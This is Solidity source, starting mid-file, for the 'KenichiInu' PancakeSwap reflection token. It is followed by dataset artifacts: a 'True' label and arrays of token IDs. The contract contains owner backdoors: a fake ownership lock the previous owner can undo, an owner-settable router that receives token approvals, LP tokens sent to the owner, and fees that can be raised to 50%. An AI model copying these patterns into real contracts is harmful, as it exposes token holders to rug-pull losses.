* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = _msgSender();
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract KenichiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "KenichiInu";
string private _symbol = "Kenichi";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 7;
uint256 private _previousLiquidityFee = _liquidityFee;
address [] public tokenHolder;
uint256 public numberOfTokenHolders = 0;
mapping(address => bool) public exist;
//No limit
uint256 public _maxTxAmount = _tTotal;
address payable wallet;
address payable rewardsWallet;
IPancakeRouter02 public pancakeRouter;
address public pancakePair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private minTokensBeforeSwap = 8;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) public {
_rOwned[_msgSender()] = _rTotal;
wallet = addr1;
rewardsWallet = addr2;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[wallet] = true;
_isExcludedFromFee[rewardsWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
// @dev set Pair
function setPair(address _pancakePair) external onlyOwner {
pancakePair = _pancakePair;
}
// @dev set Router
function setRouter(address _newPancakeRouter) external onlyOwner {
IPancakeRouter02 _pancakeRouter = IPancakeRouter02(_newPancakeRouter);
pancakeRouter = _pancakeRouter;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude pancake router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool public limit = true;
function changeLimit() public onlyOwner(){
require(limit == true, 'limit is already false');
limit = false;
}
function expectedRewards(address _sender) external view returns(uint256){
uint256 _balance = address(this).balance;
address sender = _sender;
uint256 holdersBal = balanceOf(sender);
uint totalExcludedBal;
for(uint256 i = 0; i<_excluded.length; i++){
totalExcludedBal = balanceOf(_excluded[i]).add(totalExcludedBal);
}
uint256 rewards = holdersBal.mul(_balance).div(_tTotal.sub(balanceOf(pancakePair)).sub(totalExcludedBal));
return rewards;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(limit == true && from != owner() && to != owner()){
if(to != pancakePair){
require(((balanceOf(to).add(amount)) <= 500 ether));
}
require(amount <= 100 ether, 'Transfer amount must be less than 100 tokens');
}
if(from != owner() && to != owner())
require(amount <= _maxTxAmount);
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is pancake pair.
if(!exist[to]){
tokenHolder.push(to);
numberOfTokenHolders++;
exist[to] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != pancakePair &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
mapping(address => uint256) public myRewards;
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 forLiquidity = contractTokenBalance.div(3);
uint256 devExp = contractTokenBalance.div(3);
uint256 forRewards = contractTokenBalance.div(3);
// split the liquidity
uint256 half = forLiquidity.div(2);
uint256 otherHalf = forLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half.add(devExp).add(forRewards)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 Balance = address(this).balance.sub(initialBalance);
uint256 oneThird = Balance.div(3);
wallet.transfer(oneThird);
rewardsWallet.transfer(oneThird);
// for(uint256 i = 0; i < numberOfTokenHolders; i++){
// uint256 share = (balanceOf(tokenHolder[i]).mul(ethFees)).div(totalSupply());
// myRewards[tokenHolder[i]] = myRewards[tokenHolder[i]].add(share);
//}
// add liquidity to pancake
addLiquidity(otherHalf, oneThird);
emit SwapAndLiquify(half, oneThird, otherHalf);
}
function BNBBalance() external view returns(uint256){
return address(this).balance;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the pancake pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = pancakeRouter.WETH();
_approve(address(this), address(pancakeRouter), tokenAmount);
// make the swap
pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(pancakeRouter), tokenAmount);
// add the liquidity
pancakeRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee <= 10, "Maximum fee limit is 10 percent");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee <= 50, "Maximum fee limit is 50 percent");
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent <= 50, "Maximum tax limit is 10 percent");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from pancakeRouter when swaping
receive() external payable {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2260,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2676,
1008,
1013,
1013,
1008,
4037,
1024,
16770,
1024,
1013,
1013,
6358,
11319,
18715,
2368,
1012,
4012,
1013,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
6358,
11319,
2378,
2226,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
